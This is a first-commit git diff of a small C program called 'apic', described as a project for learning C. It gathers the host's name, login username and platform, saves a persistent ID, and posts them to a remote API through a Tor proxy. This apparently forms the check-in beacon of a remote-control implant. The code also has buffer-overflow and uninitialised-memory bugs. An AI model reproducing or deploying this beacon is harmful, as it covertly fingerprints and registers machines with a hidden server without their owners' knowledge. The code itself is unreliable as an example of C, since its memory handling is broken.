first commit

.gitignore

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+save
+.env

README.md

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+# apic
+
+Trying to learn c

makefile

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+## Simple C Makefile
+
+SRC	=	./src/main.c
+NAME	= apic
+CC	=	gcc
+RM	=	rm -f
+OBJ	=	$(SRC:.c=.o)
+CFLAGS	=	-O2 -W -Wall -Wextra -Werror
+CFLAGS	+=	-I./hds/
+all	:	$(NAME)
+$(NAME)	:	$(OBJ)
+		$(CC) -o $(NAME) $(OBJ) -lcurl
+clean	:
+		$(RM) $(OBJ)
+fclean	:	clean
+		$(RM) $(NAME)
+re	:	fclean all
+.PHONY	:	all clean fclean re
+

src/main.c

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+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <curl/curl.h>
+#include <unistd.h>
+
+#define BUFFER_SIZE 256
+
+#define SAVE_FILE "./save"
+
+struct url_data {
+    size_t size;
+    char* data;
+};
+char *UID;
+char *PLATFORM;
+char *HOSTNAME;
+char *USERNAME;
+const char *URL;
+const char *URL_TOR;
+
+size_t write_data(void *ptr, size_t size, size_t nmemb, struct url_data *data) {
+    size_t index = data->size;
+    size_t n = (size * nmemb);
+    char* tmp;
+    data->size += (size * nmemb);
+    fprintf(stderr, "data at %p size=%ld nmemb=%ld\n", ptr, size, nmemb);
+    tmp = realloc(data->data, data->size + 1); /* +1 for '\0' */
+    if(tmp) {
+        data->data = tmp;
+    } else {
+        if(data->data) {
+            free(data->data);
+        }
+        fprintf(stderr, "Failed to allocate memory.\n");
+        return 0;
+    }
+    memcpy((data->data + index), ptr, n);
+    data->data[data->size] = '\0';
+    return size * nmemb;
+}
+
+char* getUniqueID()
+{
+    char *data = malloc(BUFFER_SIZE);
+    FILE *f;
+    f = fopen(SAVE_FILE,"a+");
+    if(f != NULL) fseek(f, 0, SEEK_END);
+    if(!(UID!= NULL && UID[0] == '\0')) return UID;
+    if(ftell(f) == 0)
+    {
+        fclose(f);
+        srand(time(0));
+        int random = rand();
+        f = fopen(SAVE_FILE,"w");
+        fprintf(f,"%s_%d\n",USERNAME,random);
+        sprintf(data,"%s_%d",USERNAME,random);
+        fclose(f);
+        strcpy(UID,data);
+        return data;
+    } else {
+        fclose(f);
+        f = fopen(SAVE_FILE,"r");
+        fscanf(f,"%s",data);
+        fclose(f);
+        strcpy(UID,data);
+        return data;
+    }
+}
+
+char* getRequest(char *path)
+{
+    CURL *curl;
+    CURLcode res;
+    struct url_data data;
+    data.size = 0;
+    data.data = malloc(4096);
+    if(data.data == NULL) {
+        fprintf(stderr, "Failed to allocate memory.\n");
+        return NULL;
+    }
+    curl = curl_easy_init();
+    if(curl) {
+        char url[BUFFER_SIZE];
+        strcpy(url, URL);
+        strcat(url, path);
+        curl_easy_setopt(curl, CURLOPT_URL, url);
+        curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR);
+        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
+        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data);
+        res = curl_easy_perform(curl);
+        if(res != CURLE_OK)
+            fprintf(stderr, "curl_easy_perform() failed: %s\n",
+                    curl_easy_strerror(res));
+        curl_easy_cleanup(curl);
+    }
+    return data.data;
+}
+
+char* postRequest(char *path, char *post_data)
+{
+    CURL *curl;
+    CURLcode res;
+    struct url_data data;
+    data.size = 0;
+    data.data = malloc(4096);
+    if(data.data == NULL) {
+        fprintf(stderr, "Failed to allocate memory.\n");
+        return NULL;
+    }
+    curl = curl_easy_init();
+    if(curl) {
+      char url[BUFFER_SIZE];
+      strcpy(url, URL);
+      strcat(url, path);
+      curl_easy_setopt(curl, CURLOPT_URL, url);
+      curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR);
+      curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
+      curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
+      curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data);
+      res = curl_easy_perform(curl);
+      if(res != CURLE_OK)
+          fprintf(stderr, "curl_easy_perform() failed: %s\n",
+                  curl_easy_strerror(res));
+      curl_easy_cleanup(curl);
+    }
+    return data.data;
+}
+
+char* sayhello()
+{
+    char *data = malloc(BUFFER_SIZE);
+    char *path = malloc(BUFFER_SIZE);
+    char *post_data = malloc(BUFFER_SIZE);
+    sprintf(path, "/api/%s/hello", getUniqueID());
+    sprintf(post_data, "platform=%s&hostname=%s&username=%s",
+            PLATFORM,HOSTNAME,USERNAME);
+    data = postRequest(path, post_data);
+    return data;
+}
+
+void setup()
+{
+    UID = malloc(BUFFER_SIZE);
+    PLATFORM = malloc(BUFFER_SIZE);
+    HOSTNAME = malloc(BUFFER_SIZE);
+    USERNAME = malloc(BUFFER_SIZE);
+    URL = getenv("URL");
+    URL_TOR = getenv("URL_TOR");
+    #if __APPLE__
+        PLATFORM = "MAC OS";
+    #elif _WIN32
+        PLATFORM = "WINDOWS";
+    #elif __LINUX__
+        PLATFORM = "LINUX";
+    #else
+        PLATFORM = "UNKNOWN";
+    #endif
+    gethostname(HOSTNAME, BUFFER_SIZE);
+    getlogin_r(USERNAME, BUFFER_SIZE);
+}
+
+int main()
+{
+    setup();
+    char *data = malloc(BUFFER_SIZE);
+    data = sayhello();
+    printf("%s", data);
+}